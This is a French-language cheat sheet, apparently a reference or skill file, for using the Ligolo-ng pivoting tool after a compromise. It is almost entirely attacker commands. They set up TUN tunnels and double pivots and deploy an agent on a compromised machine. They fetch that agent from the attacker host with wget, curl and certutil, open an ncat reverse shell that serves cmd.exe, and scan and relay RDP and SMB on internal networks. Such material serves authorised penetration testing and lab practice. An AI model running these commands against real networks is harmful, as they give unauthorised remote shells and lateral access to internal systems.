| name | ligolo-ng |
| description | Ligolo-ng — pivoting par interface TUN, tunnel TUN double-pivot, écouteur de reverse shell, listener forwarding, relais TCP, et scénarios de rebond réseau avancés. |
Ligolo-ng — Pivoting Niveau TUN
Présentation
Ligolo-ng crée une interface TUN virtuelle pour donner un accès direct à un réseau interne comme si l'attaquant y était physiquement connecté. Contrairement à Chisel (SOCKS), Ligolo-ng opère au niveau IP (tunnel TUN).
Avantages :
- Pas besoin de proxy chain (tout est routé)
- Support natif du double-pivoting
- Peut rediriger des ports + créer des tunnels
- Interface TUN = comme si vous étiez sur place
Installation :
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_X.X.X_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_X.X.X_linux_amd64.tar.gz
tar xzf ligolo-ng_proxy_*.tar.gz
tar xzf ligolo-ng_agent_*.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_X.X.X_windows_amd64.zip
Architecture
┌──────────────┐ ┌─────────────┐ ┌──────────────┐
│ Attaquant │ │ Pivot │ │ Cible │
│ (Kali) │◄────►│ (Machine │◄────►│ (Réseau │
│ proxy │ │ compromise)│ │ interne) │
│ TUN ligolo │ │ agent │ │ 192.168.2.10│
└──────────────┘ └─────────────┘ └──────────────┘
Configuration du proxy (attaquant)
Étape 1 : Créer l'interface TUN
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1 dev ligolo
ip addr show ligolo
ip route show | grep ligolo
Étape 2 : Lancer le proxy
./proxy -selfcert -laddr 0.0.0.0:11601
./proxy -laddr 0.0.0.0:11601 -cert cert.pem -key key.pem
./proxy -selfcert -laddr 0.0.0.0:11601 -debug
Déploiement de l'agent (cible)
Linux
./agent -connect 192.168.1.50:11601 -ignore-cert
./agent -connect 192.168.1.50:11601 -ignore-cert -name windows-dc01
./agent -connect 192.168.1.50:11601 -ignore-cert -retry
./agent -connect 192.168.1.50:11601 -ignore-cert -debug
Windows
agent.exe -connect 192.168.1.50:11601 -ignore-cert
Transfert de l'agent
wget http://192.168.1.50:8080/agent -O agent
curl -o agent http://192.168.1.50:8080/agent
python3 -m http.server 8080
impacket-smbserver SHARE /tmp/ligolo
copy \\192.168.1.50\SHARE\agent.exe C:\Temp\agent.exe
certutil -urlcache -f http://192.168.1.50/agent.exe agent.exe
Gestion des sessions (proxy console)
Sessions
session
session 0
start
stop
Routage
sudo ip route add 192.168.2.0/24 dev ligolo
sudo ip route add 192.168.2.10/32 dev ligolo
sudo ip route add 192.168.2.0/24 dev ligolo
sudo ip route add 172.16.0.0/16 dev ligolo
sudo ip route add 10.10.10.0/24 dev ligolo
ip route show
ping 192.168.2.1
nmap -sS 192.168.2.10
Écouteurs (Listener)
Reverse listener
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
ncat 192.168.1.10 4444 -e cmd.exe
listener_list
listener_rm 0
Forward listener
listener_add --addr 0.0.0.0:3389 --to 192.168.2.10:3389 --tcp
rdesktop 127.0.0.1:3389
Double-pivoting
Attaquant ──► Pivot1 ──► Pivot2 ──► Cible
(192.168.1.0/24) (192.168.2.0/24) (10.0.0.0/24)
Configuration
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo up
sudo ip link set ligolo2 up
sudo ip route add 240.0.0.1 dev ligolo
sudo ip route add 240.0.0.2 dev ligolo2
./proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect 192.168.1.50:11601 -ignore-cert
sudo ip route add 192.168.2.0/24 dev ligolo
listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601 --tcp
./agent -connect 192.168.1.50:11602 -ignore-cert
sudo ip route add 10.0.0.0/24 dev ligolo2
nmap 10.0.0.10
Relais TCP
listener_add --addr 0.0.0.0:3389 --to 10.0.0.10:3389 --tcp
listener_add --addr 0.0.0.0:445 --to 10.0.0.20:445 --tcp
listener_list
listener_rm 0
Script d'automatisation
#!/bin/bash
INTERFACE="ligolo"
PROXY_PORT=11601
TUN_IP="240.0.0.1"
echo "[+] Configuration de l'interface TUN..."
sudo ip tuntap add user $(whoami) mode tun $INTERFACE 2>/dev/null
sudo ip link set $INTERFACE up
sudo ip route add $TUN_IP dev $INTERFACE 2>/dev/null
echo "[+] Démarrage du proxy..."
./proxy -selfcert -laddr 0.0.0.0:$PROXY_PORT
Ligolo-ng vs Chisel
| Critère | Ligolo-ng | Chisel |
|---|
| Niveau | IP (TUN) | TCP (SOCKS) |
| Performance | Très haute | Moyenne |
| Multi-pivot | Natif (TUN) | Proxy chain |
| Facilité | Config TUN | Simple (SOCKS) |
| Port forwarding | Listener add | -L -R |
| Reverse SOCKS | Non (TUN) | Oui |
| Poids | ~8 MB | ~10 MB |
| Windows | Oui | Oui |
Dépannage
| Problème | Solution |
|---|
| Permission TUN | Ajouter l'user au groupe : sudo adduser $USER netdev |
| Rien ne route | Vérifier ip route ; ping 192.168.2.1 |
| Agent refuse | Vérifier pare-feu : ufw allow 11601 |
| Double pivot lourd | Limiter avec des routes spécifiques |
| Perte de session | -retry sur l'agent |
Antisèche rapide
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1 dev ligolo
./proxy -selfcert -laddr 0.0.0.0:11601
session 0
start
sudo ip route add 192.168.2.0/24 dev ligolo
./agent -connect 192.168.1.50:11601 -ignore-cert
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp